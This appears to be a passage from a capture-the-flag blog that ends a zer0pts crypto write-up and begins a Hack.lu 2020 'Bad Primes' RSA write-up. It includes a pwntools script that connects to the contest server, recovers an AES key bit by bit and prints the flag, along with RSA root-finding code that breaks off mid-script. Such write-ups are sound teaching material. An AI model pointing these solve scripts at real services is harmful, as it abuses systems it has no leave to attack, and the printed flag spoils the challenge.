<span class="n">aes</span> <span class="o">=</span> <span class="n">AES</span><span class="o">.</span><span class="n">new</span><span class="p">(</span><span class="n">key</span><span class="o">=</span><span class="n">key</span><span class="p">,</span> <span class="n">mode</span><span class="o">=</span><span class="n">AES</span><span class="o">.</span><span class="n">MODE_CBC</span><span class="p">,</span> <span class="n">iv</span><span class="o">=</span><span class="n">iv</span><span class="p">)</span>
<span class="n">c</span> <span class="o">=</span> <span class="n">aes</span><span class="o">.</span><span class="n">encrypt</span><span class="p">(</span><span class="n">pad</span><span class="p">(</span><span class="n">flag</span><span class="p">,</span> <span class="n">AES</span><span class="o">.</span><span class="n">block_size</span><span class="p">))</span>
<span class="n">key</span> <span class="o">=</span> <span class="n">bytes_to_long</span><span class="p">(</span><span class="n">key</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="s2">"Encrypted flag: </span><span class="si">{}</span><span class="s2">"</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="n">b64encode</span><span class="p">(</span><span class="n">iv</span> <span class="o">+</span> <span class="n">c</span><span class="p">)</span><span class="o">.</span><span class="n">decode</span><span class="p">()))</span>
<span class="nb">print</span><span class="p">(</span><span class="s2">"p = </span><span class="si">{}</span><span class="s2">"</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="n">p</span><span class="p">))</span>
<span class="nb">print</span><span class="p">(</span><span class="s2">"key.bit_length() = </span><span class="si">{}</span><span class="s2">"</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="n">key</span><span class="o">.</span><span class="n">bit_length</span><span class="p">()))</span>
<span class="n">signal</span><span class="o">.</span><span class="n">alarm</span><span class="p">(</span><span class="mi">600</span><span class="p">)</span>
<span class="k">while</span> <span class="n">key</span> <span class="o">></span> <span class="mi">0</span><span class="p">:</span>
<span class="n">r</span> <span class="o">=</span> <span class="n">random</span><span class="o">.</span><span class="n">randint</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span> <span class="n">p</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span>
<span class="n">s</span> <span class="o">=</span> <span class="n">random</span><span class="o">.</span><span class="n">randint</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span> <span class="n">p</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span>
<span class="n">t</span> <span class="o">=</span> <span class="n">random</span><span class="o">.</span><span class="n">randint</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span> <span class="n">p</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="s2">"t = </span><span class="si">{}</span><span class="s2">"</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="n">t</span><span class="p">))</span>
<span class="n">a</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="nb">input</span><span class="p">(</span><span class="s2">"a = "</span><span class="p">))</span> <span class="o">%</span> <span class="n">p</span>
<span class="n">b</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="nb">input</span><span class="p">(</span><span class="s2">"b = "</span><span class="p">))</span> <span class="o">%</span> <span class="n">p</span>
<span class="n">c</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="nb">input</span><span class="p">(</span><span class="s2">"c = "</span><span class="p">))</span> <span class="o">%</span> <span class="n">p</span>
<span class="n">d</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="nb">input</span><span class="p">(</span><span class="s2">"d = "</span><span class="p">))</span> <span class="o">%</span> <span class="n">p</span>
<span class="k">assert</span> <span class="nb">all</span><span class="p">([</span><span class="n">a</span> <span class="o">></span> <span class="mi">1</span> <span class="p">,</span> <span class="n">b</span> <span class="o">></span> <span class="mi">1</span> <span class="p">,</span> <span class="n">c</span> <span class="o">></span> <span class="mi">1</span> <span class="p">,</span> <span class="n">d</span> <span class="o">></span> <span class="mi">1</span><span class="p">])</span>
<span class="k">assert</span> <span class="nb">len</span><span class="p">(</span><span class="nb">set</span><span class="p">([</span><span class="n">a</span><span class="p">,</span><span class="n">b</span><span class="p">,</span><span class="n">c</span><span class="p">,</span><span class="n">d</span><span class="p">]))</span> <span class="o">==</span> <span class="mi">4</span>
<span class="n">u</span> <span class="o">=</span> <span class="nb">pow</span><span class="p">(</span><span class="n">a</span><span class="p">,</span> <span class="n">r</span><span class="p">,</span> <span class="n">p</span><span class="p">)</span> <span class="o">*</span> <span class="nb">pow</span><span class="p">(</span><span class="n">c</span><span class="p">,</span> <span class="n">s</span><span class="p">,</span> <span class="n">p</span><span class="p">)</span> <span class="o">%</span> <span class="n">p</span>
<span class="n">v</span> <span class="o">=</span> <span class="nb">pow</span><span class="p">(</span><span class="n">b</span><span class="p">,</span> <span class="n">r</span><span class="p">,</span> <span class="n">p</span><span class="p">)</span> <span class="o">*</span> <span class="nb">pow</span><span class="p">(</span><span class="n">c</span><span class="p">,</span> <span class="n">s</span><span class="p">,</span> <span class="n">p</span><span class="p">)</span> <span class="o">%</span> <span class="n">p</span>
<span class="n">x</span> <span class="o">=</span> <span class="n">u</span> <span class="o">^</span> <span class="p">(</span><span class="n">key</span> <span class="o">&</span> <span class="mi">1</span><span class="p">)</span>
<span class="n">y</span> <span class="o">=</span> <span class="n">v</span> <span class="o">^</span> <span class="p">((</span><span class="n">key</span> <span class="o">>></span> <span class="mi">1</span><span class="p">)</span> <span class="o">&</span> <span class="mi">1</span><span class="p">)</span>
<span class="n">z</span> <span class="o">=</span> <span class="nb">pow</span><span class="p">(</span><span class="n">d</span><span class="p">,</span> <span class="n">r</span><span class="p">,</span> <span class="n">p</span><span class="p">)</span> <span class="o">*</span> <span class="nb">pow</span><span class="p">(</span><span class="n">t</span><span class="p">,</span> <span class="n">s</span><span class="p">,</span> <span class="n">p</span><span class="p">)</span> <span class="o">%</span> <span class="n">p</span>
<span class="n">key</span> <span class="o">=</span> <span class="n">key</span> <span class="o">>></span> <span class="mi">2</span>
<span class="nb">print</span><span class="p">(</span><span class="s2">"x = </span><span class="si">{}</span><span class="s2">"</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="n">x</span><span class="p">))</span>
<span class="nb">print</span><span class="p">(</span><span class="s2">"y = </span><span class="si">{}</span><span class="s2">"</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="n">y</span><span class="p">))</span>
<span class="nb">print</span><span class="p">(</span><span class="s2">"z = </span><span class="si">{}</span><span class="s2">"</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="n">z</span><span class="p">))</span>
</code></pre></div>
<h1>Analysis</h1>
<p>For each two bits in the AES key, the server will generate <span class="math">\(r,s,t \in [2, p-1]\)</span> and gives us only <span class="math">\(t\)</span>.</p>
<p>Then we have to provide <span class="math">\(a,b,c,d \in [2,p-1]\)</span>, which must all be different from each other.</p>
<p>The server will compute
</p>
<div class="math">\begin{eqnarray}
u = a^r \times c^s \mod p \\
v = b^r \times c^s \mod p \\
z = d^r \times t^s \mod p \\
\end{eqnarray}</div>
<p>Finally ,we are given <span class="math">\(x = u \oplus k_0,y = v \oplus k_1\)</span> and <span class="math">\(z\)</span>, where <span class="math">\(k_0\)</span> and <span class="math">\(k_1\)</span> are two key bits.</p>
<h1>Choosing <span class="math">\(a,b,c,d\)</span></h1>
<p>By fixing specific values for <span class="math">\(a,b,c,d\)</span> its possible to recover the original values of <span class="math">\(u\)</span> and <span class="math">\(v\)</span>, and compare them to the given ones to recover <span class="math">\(k_0\)</span> and <span class="math">\(k_1\)</span></p>
<p>First, lets set <span class="math">\(d = p - 1\)</span>.</p>
<p>By doing this, we have </p>
<div class="math">\begin{cases} d^r = 1 \mod p & r \text{ even} \\d^r = p - 1 \mod p & r \text{ odd} \end{cases}</div>
<p>thus, </p>
<div class="math">\begin{cases} z = t^s \mod p & r \text{ even} \\z = (p-1) \times t^s \mod p & r \text{ odd} \end{cases}</div>
<p>Now, lets set <span class="math">\(c = t\)</span>, and <span class="math">\(b = 2a\)</span>. For simplicity, lets fix <span class="math">\(a = 2\)</span>.
This gives us
</p>
<div class="math">\begin{eqnarray}
u = 2^r \times t^s \mod p \\
v = 4^r \times t^s \mod p \\
\end{eqnarray}</div>
<p>What we can do now is try both possibilites for <span class="math">\(r\)</span>.</p>
<ul>
<li>
<p>If <span class="math">\(r\)</span> is even, <span class="math">\(z = t^s \mod p\)</span>, so we can easily get <span class="math">\(t^{-s}\)</span> by inverting <span class="math">\(z\)</span>.</p>
</li>
<li>
<p>Otherwise, if <span class="math">\(r\)</span> is odd, we have <span class="math">\(t^s = z \times (p-1)^{-1} \mod p\)</span> and we can also find <span class="math">\(t^{-s}\)</span></p>
</li>
</ul>
<p>Now that we have <span class="math">\(t^{-s}\)</span>, we can try all <span class="math">\((k_0', k_1') \in [0,1]^2\)</span> to find the key bits.</p>
<p>In order to validate our guess, we compute the following :</p>
<div class="math">\begin{eqnarray}
v_0 = (x \oplus k_0') \times t^{-s} \mod p = ((2^r \times t^s) \oplus k_0 \oplus k_0') \times t^{-s} \mod p \\
v_1 = (y \oplus k_1') \times t^{-s} \mod p = ((4^r \times t^s) \oplus k_0 \oplus k_0') \times t^{-s} \mod p \\
\end{eqnarray}</div>
<p>Now, if our guess is good, ie <span class="math">\(k_0' = k_0\)</span> and <span class="math">\(k_1' = k_1\)</span>, everything should simplify to :</p>
<div class="math">\begin{eqnarray}
v_0 = 2^r \times t^s \times t^{-s} = 2^r \mod p \\
v_1 = 4^r \times t^s \times t^{-s} = 4^r \mod p \\
\end{eqnarray}</div>
<p>To check if that's the case, we only have to verify if <span class="math">\(v_0^2\)</span> is equal to <span class="math">\(v_1 \mod p\)</span>,</p>
<p>Here is an implementation of the above solution. It starts by guessing that <span class="math">\(r\)</span> is even, and if the relation <span class="math">\(v_0^2 = v_1 \mod p\)</span> doesnt hold for any <span class="math">\((k_0',k_1')\)</span>, it tries the same withe <span class="math">\(r\)</span> odd.</p>
<div class="highlight"><pre><span></span><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="n">remote</span><span class="p">,</span> <span class="n">log</span>
<span class="kn">import</span> <span class="nn">random</span>
<span class="kn">from</span> <span class="nn">sage.all</span> <span class="kn">import</span> <span class="n">inverse_mod</span>
<span class="kn">from</span> <span class="nn">Crypto.Util.number</span> <span class="kn">import</span> <span class="n">long_to_bytes</span>
<span class="kn">from</span> <span class="nn">Crypto.Cipher</span> <span class="kn">import</span> <span class="n">AES</span>
<span class="kn">import</span> <span class="nn">base64</span>
<span class="n">io</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s2">"crypto.ctf.zer0pts.com"</span><span class="p">,</span> <span class="mi">10130</span><span class="p">)</span>
<span class="n">encflag</span> <span class="o">=</span> <span class="n">base64</span><span class="o">.</span><span class="n">b64decode</span><span class="p">(</span><span class="n">io</span><span class="o">.</span><span class="n">recvline</span><span class="p">()</span><span class="o">.</span><span class="n">decode</span><span class="p">()</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s2">": "</span><span class="p">)[</span><span class="mi">1</span><span class="p">])</span>
<span class="n">p</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">io</span><span class="o">.</span><span class="n">recvline</span><span class="p">()</span><span class="o">.</span><span class="n">decode</span><span class="p">()</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s2">" = "</span><span class="p">)[</span><span class="mi">1</span><span class="p">])</span>
<span class="n">bitlen</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">io</span><span class="o">.</span><span class="n">recvline</span><span class="p">()</span><span class="o">.</span><span class="n">decode</span><span class="p">()</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s2">" = "</span><span class="p">)[</span><span class="mi">1</span><span class="p">])</span>
<span class="n">key</span> <span class="o">=</span> <span class="mi">0</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">bitlen</span><span class="o">//</span><span class="mi">2</span><span class="p">):</span>
<span class="n">t</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">io</span><span class="o">.</span><span class="n">recvline</span><span class="p">()</span><span class="o">.</span><span class="n">decode</span><span class="p">()</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s2">" = "</span><span class="p">)[</span><span class="mi">1</span><span class="p">])</span>
<span class="n">c</span> <span class="o">=</span> <span class="n">t</span>
<span class="n">d</span> <span class="o">=</span> <span class="n">p</span><span class="o">-</span><span class="mi">1</span>
<span class="n">a</span> <span class="o">=</span> <span class="mi">2</span>
<span class="n">b</span> <span class="o">=</span> <span class="mi">2</span><span class="o">*</span><span class="n">a</span>
<span class="n">io</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">a</span><span class="p">)</span><span class="o">.</span><span class="n">encode</span><span class="p">())</span>
<span class="n">io</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">b</span><span class="p">)</span><span class="o">.</span><span class="n">encode</span><span class="p">())</span>
<span class="n">io</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">c</span><span class="p">)</span><span class="o">.</span><span class="n">encode</span><span class="p">())</span>
<span class="n">io</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">d</span><span class="p">)</span><span class="o">.</span><span class="n">encode</span><span class="p">())</span>
<span class="n">x</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">io</span><span class="o">.</span><span class="n">recvline</span><span class="p">()</span><span class="o">.</span><span class="n">decode</span><span class="p">()</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s2">" = "</span><span class="p">)[</span><span class="o">-</span><span class="mi">1</span><span class="p">])</span>
<span class="n">y</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">io</span><span class="o">.</span><span class="n">recvline</span><span class="p">()</span><span class="o">.</span><span class="n">decode</span><span class="p">()</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s2">" = "</span><span class="p">)[</span><span class="o">-</span><span class="mi">1</span><span class="p">])</span>
<span class="n">z</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">io</span><span class="o">.</span><span class="n">recvline</span><span class="p">()</span><span class="o">.</span><span class="n">decode</span><span class="p">()</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s2">" = "</span><span class="p">)[</span><span class="o">-</span><span class="mi">1</span><span class="p">])</span>
<span class="k">def</span> <span class="nf">find_bits</span><span class="p">(</span><span class="n">tsinv</span><span class="p">):</span>
<span class="k">for</span> <span class="n">k0</span> <span class="ow">in</span> <span class="p">[</span><span class="mi">0</span><span class="p">,</span><span class="mi">1</span><span class="p">]:</span>
<span class="k">for</span> <span class="n">k1</span> <span class="ow">in</span> <span class="p">[</span><span class="mi">0</span><span class="p">,</span><span class="mi">1</span><span class="p">]:</span>
<span class="n">v0</span> <span class="o">=</span> <span class="p">(</span><span class="n">x</span><span class="o">^</span><span class="n">k0</span><span class="p">)</span> <span class="o">*</span> <span class="n">ts_inv</span> <span class="o">%</span> <span class="n">p</span>
<span class="n">v1</span> <span class="o">=</span> <span class="p">(</span><span class="n">y</span><span class="o">^</span><span class="n">k1</span><span class="p">)</span> <span class="o">*</span> <span class="n">ts_inv</span> <span class="o">%</span> <span class="n">p</span>
<span class="k">if</span> <span class="p">(</span><span class="n">v0</span><span class="o">*</span><span class="n">v0</span><span class="p">)</span> <span class="o">%</span> <span class="n">p</span> <span class="o">==</span> <span class="n">v1</span><span class="p">:</span>
<span class="k">return</span> <span class="mi">2</span><span class="o">*</span><span class="n">k1</span> <span class="o">+</span> <span class="n">k0</span>
<span class="c1"># Case r even, d^r = 1, z = t^s</span>
<span class="n">ts_inv</span> <span class="o">=</span> <span class="n">inverse_mod</span><span class="p">(</span><span class="n">z</span><span class="p">,</span> <span class="n">p</span><span class="p">)</span>
<span class="n">bits</span> <span class="o">=</span> <span class="n">find_bits</span><span class="p">(</span><span class="n">ts_inv</span><span class="p">)</span>
<span class="c1"># Case r odd</span>
<span class="k">if</span> <span class="n">bits</span> <span class="ow">is</span> <span class="kc">None</span><span class="p">:</span>
<span class="n">ts</span> <span class="o">=</span> <span class="n">z</span> <span class="o">*</span> <span class="n">inverse_mod</span><span class="p">(</span><span class="n">p</span><span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="n">p</span><span class="p">)</span> <span class="o">%</span> <span class="n">p</span>
<span class="n">ts_inv</span> <span class="o">=</span> <span class="n">inverse_mod</span><span class="p">(</span><span class="n">ts</span><span class="p">,</span> <span class="n">p</span><span class="p">)</span>
<span class="n">bits</span> <span class="o">=</span> <span class="n">find_bits</span><span class="p">(</span><span class="n">ts_inv</span><span class="p">)</span>
<span class="n">key</span> <span class="o">|=</span> <span class="p">(</span><span class="n">bits</span> <span class="o"><<</span> <span class="mi">2</span><span class="o">*</span><span class="n">i</span><span class="p">)</span>
<span class="n">log</span><span class="o">.</span><span class="n">info</span><span class="p">(</span><span class="s2">"bits </span><span class="si">{}</span><span class="s2"> & </span><span class="si">{}</span><span class="s2"> found, key=</span><span class="si">{:b}</span><span class="s2">"</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="mi">2</span><span class="o">*</span><span class="n">i</span><span class="p">,</span> <span class="mi">2</span><span class="o">*</span><span class="n">i</span><span class="o">+</span><span class="mi">1</span><span class="p">,</span> <span class="n">key</span><span class="p">))</span>
<span class="n">key</span> <span class="o">=</span> <span class="n">long_to_bytes</span><span class="p">(</span><span class="n">key</span><span class="p">,</span> <span class="mi">32</span><span class="p">)</span>
<span class="n">iv</span><span class="p">,</span><span class="n">flag</span> <span class="o">=</span> <span class="n">encflag</span><span class="p">[:</span><span class="mi">16</span><span class="p">],</span> <span class="n">encflag</span><span class="p">[</span><span class="mi">16</span><span class="p">:]</span>
<span class="n">aes</span> <span class="o">=</span> <span class="n">AES</span><span class="o">.</span><span class="n">new</span><span class="p">(</span><span class="n">key</span><span class="o">=</span><span class="n">key</span><span class="p">,</span> <span class="n">mode</span><span class="o">=</span><span class="n">AES</span><span class="o">.</span><span class="n">MODE_CBC</span><span class="p">,</span> <span class="n">iv</span><span class="o">=</span><span class="n">iv</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="n">aes</span><span class="o">.</span><span class="n">decrypt</span><span class="p">(</span><span class="n">flag</span><span class="p">))</span> <span class="c1"># zer0pts{H41131uj4h_H41131uj4h}</span>
</code></pre></div>
<script type="text/javascript">if (!document.getElementById('mathjaxscript_pelican_#%@#$@#')) {
var align = "center",
indent = "0em",
linebreak = "false";
if (false) {
align = (screen.width < 768) ? "left" : align;
indent = (screen.width < 768) ? "0em" : indent;
linebreak = (screen.width < 768) ? 'true' : linebreak;
}
var mathjaxscript = document.createElement('script');
mathjaxscript.id = 'mathjaxscript_pelican_#%@#$@#';
mathjaxscript.type = 'text/javascript';
mathjaxscript.src = 'https://cdnjs.cloudflare.com/ajax/libs/mathjax/2.7.3/latest.js?config=TeX-AMS-MML_HTMLorMML';
var configscript = document.createElement('script');
configscript.type = 'text/x-mathjax-config';
configscript[(window.opera ? "innerHTML" : "text")] =
"MathJax.Hub.Config({" +
" config: ['MMLorHTML.js']," +
" TeX: { extensions: ['AMSmath.js','AMSsymbols.js','noErrors.js','noUndefined.js'], equationNumbers: { autoNumber: 'none' } }," +
" jax: ['input/TeX','input/MathML','output/HTML-CSS']," +
" extensions: ['tex2jax.js','mml2jax.js','MathMenu.js','MathZoom.js']," +
" displayAlign: '"+ align +"'," +
" displayIndent: '"+ indent +"'," +
" showMathMenu: true," +
" messageStyle: 'normal'," +
" tex2jax: { " +
" inlineMath: [ ['\\\\(','\\\\)'] ], " +
" displayMath: [ ['$$','$$'] ]," +
" processEscapes: true," +
" preview: 'TeX'," +
" }, " +
" 'HTML-CSS': { " +
" availableFonts: ['STIX', 'TeX']," +
" preferredFont: 'STIX'," +
" styles: { '.MathJax_Display, .MathJax .mo, .MathJax .mi, .MathJax .mn': {color: 'inherit ! important'} }," +
" linebreaks: { automatic: "+ linebreak +", width: '90% container' }," +
" }, " +
"}); " +
"if ('default' !== 'default') {" +
"MathJax.Hub.Register.StartupHook('HTML-CSS Jax Ready',function () {" +
"var VARIANT = MathJax.OutputJax['HTML-CSS'].FONTDATA.VARIANT;" +
"VARIANT['normal'].fonts.unshift('MathJax_default');" +
"VARIANT['bold'].fonts.unshift('MathJax_default-bold');" +
"VARIANT['italic'].fonts.unshift('MathJax_default-italic');" +
"VARIANT['-tex-mathit'].fonts.unshift('MathJax_default-italic');" +
"});" +
"MathJax.Hub.Register.StartupHook('SVG Jax Ready',function () {" +
"var VARIANT = MathJax.OutputJax.SVG.FONTDATA.VARIANT;" +
"VARIANT['normal'].fonts.unshift('MathJax_default');" +
"VARIANT['bold'].fonts.unshift('MathJax_default-bold');" +
"VARIANT['italic'].fonts.unshift('MathJax_default-italic');" +
"VARIANT['-tex-mathit'].fonts.unshift('MathJax_default-italic');" +
"});" +
"}";
(document.body || document.getElementsByTagName('head')[0]).appendChild(configscript);
(document.body || document.getElementsByTagName('head')[0]).appendChild(mathjaxscript);
}
</script>Hack.lu 2020 - Bad Primes [EN]2020-10-25T00:00:00+02:002020-10-25T00:00:00+02:00Antoxydetag:w0nderland.fr,2020-10-25:/hacklu-2020-bad-primes-en.html<h1>Bad Primes</h1>
<p>This was a crypto challenge at Hack.lu 2020, solved by 86 teams.</p>
<p>We are given the following script:</p>
<div class="highlight"><pre><span></span><code><span class="ch">#!/usr/bin/env python2</span>
<span class="kn">import</span> <span class="nn">binascii</span>
<span class="c1"># https://en.wikibooks.org/wiki/Algorithm_Implementation/Mathematics/Extended_Euclidean_algorithm</span>
<span class="k">def</span> <span class="nf">xgcd</span><span class="p">(</span><span class="n">a</span><span class="p">,</span> <span class="n">b</span><span class="p">):</span>
<span class="n">x0</span><span class="p">,</span> <span class="n">x1</span><span class="p">,</span> <span class="n">y0</span><span class="p">,</span> <span class="n">y1</span> <span class="o">=</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">0</span>
<span class="k">while</span> <span class="n">a</span> <span class="o">!=</span> <span class="mi">0 …</span></code></pre></div><h1>Bad Primes</h1>
<p>This was a crypto challenge at Hack.lu 2020, solved by 86 teams.</p>
<p>We are given the following script:</p>
<div class="highlight"><pre><span></span><code><span class="ch">#!/usr/bin/env python2</span>
<span class="kn">import</span> <span class="nn">binascii</span>
<span class="c1"># https://en.wikibooks.org/wiki/Algorithm_Implementation/Mathematics/Extended_Euclidean_algorithm</span>
<span class="k">def</span> <span class="nf">xgcd</span><span class="p">(</span><span class="n">a</span><span class="p">,</span> <span class="n">b</span><span class="p">):</span>
<span class="n">x0</span><span class="p">,</span> <span class="n">x1</span><span class="p">,</span> <span class="n">y0</span><span class="p">,</span> <span class="n">y1</span> <span class="o">=</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">0</span>
<span class="k">while</span> <span class="n">a</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">:</span>
<span class="p">(</span><span class="n">q</span><span class="p">,</span> <span class="n">a</span><span class="p">),</span> <span class="n">b</span> <span class="o">=</span> <span class="nb">divmod</span><span class="p">(</span><span class="n">b</span><span class="p">,</span> <span class="n">a</span><span class="p">),</span> <span class="n">a</span>
<span class="n">y0</span><span class="p">,</span> <span class="n">y1</span> <span class="o">=</span> <span class="n">y1</span><span class="p">,</span> <span class="n">y0</span> <span class="o">-</span> <span class="n">q</span> <span class="o">*</span> <span class="n">y1</span>
<span class="n">x0</span><span class="p">,</span> <span class="n">x1</span> <span class="o">=</span> <span class="n">x1</span><span class="p">,</span> <span class="n">x0</span> <span class="o">-</span> <span class="n">q</span> <span class="o">*</span> <span class="n">x1</span>
<span class="k">return</span> <span class="n">b</span><span class="p">,</span> <span class="n">x0</span><span class="p">,</span> <span class="n">y0</span>
<span class="c1"># https://en.wikibooks.org/wiki/Algorithm_Implementation/Mathematics/Extended_Euclidean_algorithm</span>
<span class="k">def</span> <span class="nf">modinv</span><span class="p">(</span><span class="n">a</span><span class="p">,</span> <span class="n">m</span><span class="p">):</span>
<span class="n">g</span><span class="p">,</span> <span class="n">x</span><span class="p">,</span> <span class="n">y</span> <span class="o">=</span> <span class="n">xgcd</span><span class="p">(</span><span class="n">a</span><span class="p">,</span> <span class="n">m</span><span class="p">)</span>
<span class="k">if</span> <span class="n">g</span> <span class="o">!=</span> <span class="mi">1</span><span class="p">:</span>
<span class="k">return</span> <span class="kc">None</span>
<span class="k">else</span><span class="p">:</span>
<span class="k">return</span> <span class="n">x</span> <span class="o">%</span> <span class="n">m</span>
<span class="n">n</span> <span class="o">=</span> <span class="mi">3283820208958447696987943374117448908009765357285654693385347327161990683145362435055078968569512096812028089118865534433123727617331619214412173257331161</span>
<span class="n">p</span> <span class="o">=</span> <span class="mi">34387544593670505224894952205499074005031928791959611454481093888481277920639</span>
<span class="n">q</span> <span class="o">=</span> <span class="mi">95494466027181231798633086231116363926111790946014452380632032637864163116199</span>
<span class="n">e</span> <span class="o">=</span> <span class="mi">65537</span>
<span class="c1"># flag = "flag{...}"</span>
<span class="c1"># flag = int(binascii.hexlify(flag), 16)</span>
<span class="c1"># flag = pow(flag, e, n)</span>
<span class="n">flag</span> <span class="o">=</span> <span class="mi">2152534604028570372634288477962037445130495144236447333908131330331177601915631781056255815304219841064038378099612028528380520661613873180982330559507116</span>
<span class="n">d</span> <span class="o">=</span> <span class="n">modinv</span><span class="p">(</span><span class="n">e</span><span class="p">,</span> <span class="p">(</span><span class="n">p</span> <span class="o">-</span> <span class="mi">1</span><span class="p">)</span> <span class="o">*</span> <span class="p">(</span><span class="n">q</span> <span class="o">-</span> <span class="mi">1</span><span class="p">))</span>
<span class="k">if</span> <span class="n">d</span> <span class="o">==</span> <span class="kc">None</span><span class="p">:</span>
<span class="nb">print</span> <span class="s2">"definitely too primitive..."</span>
<span class="k">else</span><span class="p">:</span>
<span class="nb">print</span> <span class="nb">pow</span><span class="p">(</span><span class="n">flag</span><span class="p">,</span> <span class="n">d</span><span class="p">,</span> <span class="n">n</span><span class="p">)</span>
</code></pre></div>
<p>which is written in python <strong>2</strong> D: .</p>
<p>The problem can be formalised as follows.
We have a standard RSA modulus, formed of two primes <span class="math">\(p\)</span> and <span class="math">\(q\)</span>, which are given.
We also have <span class="math">\(e\)</span>, and the ciphertext (<span class="math">\(c\)</span>) , which is the RSA encryption of the flag.</p>
<p>The issue here is that <strong><span class="math">\(e\)</span> is not coprime to <span class="math">\(\varphi(n) = (p-1) \times (q - 1)\)</span></strong>. Thus, <span class="math">\(e\)</span> has no invert mod <span class="math">\(\varphi(n)\)</span> and we can't proceed to the classical RSA decryption, despite having the factorisation of <span class="math">\(n\)</span>.</p>
<h1>nth root for the win</h1>
<p>The RSA cryptosystem's security depends on the factorisation of <span class="math">\(n\)</span>, but also on the fact that computing the <span class="math">\(e\)</span>th root of some number modulo a composite modulus <strong>without knowing its factorisation</strong> is hard.</p>
<p>But here, we have that factorisation. The solution I found is to split the problem in two subproblems, mod <span class="math">\(p\)</span> and mod <span class="math">\(q\)</span>. Finding the <span class="math">\(e\)</span>th root of <span class="math">\(c_q = c \mod q\)</span> is easy, because <span class="math">\(q\)</span> is prime (one can find the solution using a generalisation of the Tonneli-Shanks algorithm for instance. Check <a href="https://crypto.stackexchange.com/questions/6518/finding-roots-in-mathbbz-p">this stackexchange thread</a> for more informations about that.)</p>
<p>After computing <span class="math">\(r_q\)</span> and <span class="math">\(r_p\)</span>, two <span class="math">\(e\)</span>th roots of <span class="math">\(c_q\)</span> and <span class="math">\(c_p\)</span> mod <span class="math">\(q\)</span> and <span class="math">\(p\)</span> respectively, one can combine the two results to find <span class="math">\(r \mod n\)</span> using the <a href="https://en.wikipedia.org/wiki/Chinese_remainder_theorem">Chinese Remainder Theorem</a>.</p>
<p>However, as explained in the stackexchange above, we still have an issue regarding the roots : <span class="math">\(r_p\)</span> and <span class="math">\(r_q\)</span> are not necessarly unique.</p>
<p>Here, <span class="math">\(p - 1 = 2 \times 65537 \times 262352141490078163670102020274799533126569180706773360502320016849117887\)</span> and <span class="math">\(q - 1 = 2 \times 47747233013590615899316543115558181963055895473007226190316016318932081558099\)</span>.</p>
<p>We have <span class="math">\(gcd(e, p - 1) = e\)</span>, so we'll have to find the right <span class="math">\(r_p\)</span> between exactly <span class="math">\(e\)</span> possible roots. But <span class="math">\(gcd(e, q - 1) = 1\)</span>, so <span class="math">\(r_q\)</span> is actually unique.</p>
<p>Here is an implementation of this attack using sagemath:</p>
<div class="highlight"><pre><span></span><code><span class="kn">from</span> <span class="nn">Crypto.Util.number</span> <span class="kn">import</span> <span class="n">long_to_bytes</span>
<span class="kn">from</span> <span class="nn">sage.all</span> <span class="kn">import</span> <span class="o">*</span>
<span class="n">e</span> <span class="o">=</span> <span class="mi">65537</span>
<span class="n">n</span> <span class="o">=</span> <span class="mi">3283820208958447696987943374117448908009765357285654693385347327161990683145362435055078968569512096812028089118865534433123727617331619214412173257331161</span>
<span class="n">p</span> <span class="o">=</span> <span class="mi">34387544593670505224894952205499074005031928791959611454481093888481277920639</span>
<span class="n">q</span> <span class="o">=</span> <span class="mi">95494466027181231798633086231116363926111790946014452380632032637864163116199</span>
<span class="n">c</span> <span class="o">=</span> <span class="mi">2152534604028570372634288477962037445130495144236447333908131330331177601915631781056255815304219841064038378099612028528380520661613873180982330559507116</span>
